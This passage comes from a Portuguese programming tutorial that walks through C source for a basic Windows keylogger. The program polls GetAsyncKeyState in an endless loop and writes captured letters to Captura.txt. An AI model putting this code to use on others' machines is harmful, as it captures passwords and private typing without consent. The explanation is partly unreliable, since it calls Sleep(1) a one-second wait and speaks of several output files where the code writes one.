Essa informação já é o suficiente para incrementarmos um código verificando o retorno das teclas pressionadas e gravando cada uma em um arquivo.txt.

Criando o programa

Agora que já sabemos os valores das principais teclas do teclado e também qual é a função que faz a “mágica” da captura de teclas acontecer, vamos definitivamente criar nosso programa.

Veja o código abaixo:

#include <windows.h>
#include <stdio.h>

int main()
{
    int result,teclas;
    FILE *arquivo;

    arquivo = fopen("Captura.txt","w");

    while(1) {
        for(teclas = 64; teclas <= 90; teclas++) {
            Sleep(1);

            result = GetAsyncKeyState(teclas);

            if(result == -32767) {
                fprintf(arquivo,"%c",teclas);
            }
        }
    }

    return 0;
}

Eis então o nosso código, agora vamos entender detalhadamente cada parte dele.

Primeiro temos nossas inclusões, que são necessárias para o seu funcionamento:

#include <windows.h>
#include <stdio.h>

Depois dentro da função principal criamos as variáveis que vamos usar.

int main()
{
    int result,teclas;
    FILE *arquivo;

Note que temos duas variáveis inteiras que serão usadas diretamente na verificação e captura das teclas, e depois temos o arquivo onde iremos gravar as informações capturadas.

Para abrir esse arquivo usamos a função fopen() como é apresentado abaixo:

arquivo = fopen("Captura.txt","w");

Veja que o identificador "w" indica que estamos querendo fazer uma gravação de dados em Captura.txt.

Por último, mas não menos importante, temos o laço infinito que é responsável pela verificação e captura de cada tecla.

while(1) {
    for(teclas = 64; teclas <= 90; teclas++) {
        Sleep(1);

        result = GetAsyncKeyState(teclas);

        if(result == -32767) {
            fprintf(arquivo,"%c",teclas);
        }
    }
}

Repare que dentro desse laço temos um for onde determinamos quais teclas serão analisadas. No caso, iniciando na tecla 64 que é um simples @ e terminando na tecla 90 que é a letra Z.

Após a criação do laço devemos esperar 1 segundo com a função sleep() e depois fazer as verificações com a função GetAsyncKeyState().

Feito isso, guardamos os valores retornados dentro de uma variável, que por sua vez é analisada dentro de uma condicional que verifica se determinada tecla está sendo pressionada.

Se estiver, gravamos a informação usando a função fprintf(), que é usada justamente para escrever textos em arquivos.

Ufa! Acabamos. Agora é só executar o programa e digitar algumas informações e conferir a pasta do projeto, nela você terá todos os arquivos que foram criados com cada tecla capturada.

É isso pessoal, espero que tenham gostado do artigo. Abraço e até a próxima.

JUNTE-SE A MAIS DE 150.000 PROGRAMADORES